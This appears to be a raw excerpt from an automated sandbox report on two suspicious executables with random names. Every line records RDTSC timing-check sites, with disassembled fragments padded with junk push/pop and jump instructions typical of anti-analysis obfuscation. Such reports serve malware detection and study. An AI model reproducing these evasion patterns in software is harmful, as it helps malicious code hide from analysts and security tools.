Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF6D29 second address: CF6D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnc 00007FF88929ECB6h 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF6EAE second address: CF6EB8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF888DC1E96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF6FC7 second address: CF6FCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CF6FCF second address: CF6FD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CFA6DB second address: CFA6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007FF88929ECB6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FF88929ECC6h 0x00000012 pushad 0x00000013 jnl 00007FF88929ECB6h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CFA828 second address: CFA82E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CFA82E second address: CFA836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CFAB03 second address: CFAB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CFAB09 second address: CFAB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FF88929ECCEh 0x0000000b jmp 00007FF88929ECC2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CFAD8D second address: CFADB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FF888DC1EB5h 0x0000000c jg 00007FF888DC1E96h 0x00000012 jmp 00007FF888DC1EA9h 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D04898 second address: D048A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECBBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D048A7 second address: D048AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D02949 second address: D0294D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D0294D second address: D02979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF888DC1E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF888DC1EA0h 0x00000011 jl 00007FF888DC1E98h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007FF888DC1E96h 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D02979 second address: D0297D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D02A9F second address: D02AB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA4h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D02AB8 second address: D02AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF88929ECB6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007FF88929ECB8h 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D02F14 second address: D02F1E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 5DEB1E second address: 5DEB22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 5DEB22 second address: 5DEB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 5DEB28 second address: 5DEB32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 75AE1E second address: 75AE43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FF888DC1E96h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jno 00007FF888DC1E96h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF888DC1EA1h 0x00000019 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 760C5E second address: 760C7B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FF88929ECC2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 76106D second address: 761072 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 76132A second address: 761339 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 761339 second address: 76133F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 76133F second address: 761345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7614AA second address: 7614B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007FF888DC1E98h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7614B7 second address: 7614CC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF88929ECB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FF88929ECD0h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763D5F second address: 763D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763D64 second address: 763D73 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763D73 second address: 763DBF instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF888DC1EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b call 00007FF888DC1EA8h 0x00000010 and di, 656Ah 0x00000015 pop ecx 0x00000016 push 00000000h 0x00000018 movsx ecx, di 0x0000001b call 00007FF888DC1E99h 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763DBF second address: 763E01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jne 00007FF88929ECBEh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007FF88929ECBFh 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b jns 00007FF88929ECC5h 0x00000021 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763E01 second address: 763E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763E07 second address: 763E77 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007FF88929ECC9h 0x00000011 pop eax 0x00000012 push 00000003h 0x00000014 add esi, dword ptr [ebp+122D3785h] 0x0000001a mov cl, dh 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f mov dl, 70h 0x00000021 pop ecx 0x00000022 push 00000003h 0x00000024 xor esi, dword ptr [ebp+122D3711h] 0x0000002a call 00007FF88929ECB9h 0x0000002f jne 00007FF88929ECCAh 0x00000035 push eax 0x00000036 push edi 0x00000037 push ecx 0x00000038 pushad 0x00000039 popad 0x0000003a pop ecx 0x0000003b pop edi 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 pushad 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763E77 second address: 763E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763F1C second address: 763F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763F20 second address: 763F26 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763F26 second address: 763FBB instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF88929ECB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FF88929ECB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 sub esi, dword ptr [ebp+122D3891h] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FF88929ECB8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 sbb ch, FFFFFFF5h 0x0000004c pushad 0x0000004d mov si, dx 0x00000050 jmp 00007FF88929ECC4h 0x00000055 popad 0x00000056 call 00007FF88929ECB9h 0x0000005b push esi 0x0000005c js 00007FF88929ECB8h 0x00000062 pushad 0x00000063 popad 0x00000064 pop esi 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763FBB second address: 763FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF888DC1E96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 763FC6 second address: 764086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jc 00007FF88929ECC0h 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007FF88929ECBEh 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jp 00007FF88929ECC6h 0x00000024 pop eax 0x00000025 mov dword ptr [ebp+122D2B27h], esi 0x0000002b push 00000003h 0x0000002d sub dword ptr [ebp+122D3416h], esi 0x00000033 push 00000000h 0x00000035 and edx, dword ptr [ebp+122D3901h] 0x0000003b push 00000003h 0x0000003d mov cl, E0h 0x0000003f push 81EFC0C3h 0x00000044 push ebx 0x00000045 push edx 0x00000046 jnp 00007FF88929ECB6h 0x0000004c pop edx 0x0000004d pop ebx 0x0000004e xor dword ptr [esp], 41EFC0C3h 0x00000055 mov dx, cx 0x00000058 or edi, 00DC991Fh 0x0000005e lea ebx, dword ptr [ebp+12458C33h] 0x00000064 mov ecx, dword ptr [ebp+122D37F1h] 0x0000006a jmp 00007FF88929ECBCh 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FF88929ECC5h 0x00000077 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7578EF second address: 757915 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF888DC1E96h 0x00000008 jmp 00007FF888DC1EA0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007FF888DC1E9Ch 0x00000015 jno 00007FF888DC1E96h 0x0000001b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 757915 second address: 757921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jo 00007FF88929ECB6h 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7834BB second address: 7834E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1E9Eh 0x00000009 jmp 00007FF888DC1EA2h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 783647 second address: 78366F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FF88929ECC9h 0x0000000b popad 0x0000000c jng 00007FF88929ECB8h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D0398F second address: D039A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D039A8 second address: D039F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FF88929ECD5h 0x0000000c jmp 00007FF88929ECC8h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007FF88929ECB6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D039F7 second address: D039FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D039FB second address: D03A0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C65AC9 second address: C65ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C65ACD second address: C65AD8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C65AD8 second address: C65AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 jmp 00007FF888DC1E9Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: D03D21 second address: D03D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 78419B second address: 7841D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA5h 0x00000009 je 00007FF888DC1E96h 0x0000000f popad 0x00000010 jmp 00007FF888DC1EA9h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7841D9 second address: 7841DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7841DD second address: 784210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF888DC1EA2h 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 78453C second address: 784544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 784544 second address: 78454A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 78454A second address: 784550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 784550 second address: 784576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push ecx 0x00000009 jmp 00007FF888DC1EA6h 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7846C3 second address: 7846D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007FF88929ECB6h 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7846D5 second address: 784707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FF888DC1EADh 0x0000000e jmp 00007FF888DC1EA1h 0x00000013 jnp 00007FF888DC1E96h 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edi 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 784707 second address: 784713 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FF88929ECB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 779E4E second address: 779E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 779E54 second address: 779E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnl 00007FF88929ECBEh 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 779E67 second address: 779E7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FF888DC1E96h 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 779E7F second address: 779EA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 je 00007FF88929ECB6h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 push eax 0x0000001a jbe 00007FF88929ECB6h 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 779EA8 second address: 779EC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 779EC0 second address: 779EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 784E1D second address: 784E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007FF888DC1EA0h 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FF888DC1E96h 0x00000019 jne 00007FF888DC1E96h 0x0000001f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 784E47 second address: 784E55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FF88929ECB6h 0x0000000e rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 784E55 second address: 784E61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FF888DC1E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 784E61 second address: 784E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jns 00007FF88929ECB6h 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 785100 second address: 785106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 785106 second address: 785130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007FF88929ECD7h 0x0000000d jmp 00007FF88929ECC5h 0x00000012 jo 00007FF88929ECBCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 78554C second address: 78556C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA8h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 788C1F second address: 788C23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 79079A second address: 7907A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 754230 second address: 75427F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FF88929ECC8h 0x0000000b jmp 00007FF88929ECC0h 0x00000010 popad 0x00000011 pop edx 0x00000012 pushad 0x00000013 pushad 0x00000014 ja 00007FF88929ECB6h 0x0000001a jg 00007FF88929ECB6h 0x00000020 jp 00007FF88929ECB6h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jns 00007FF88929ECB6h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 75427F second address: 754283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 754283 second address: 75428D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
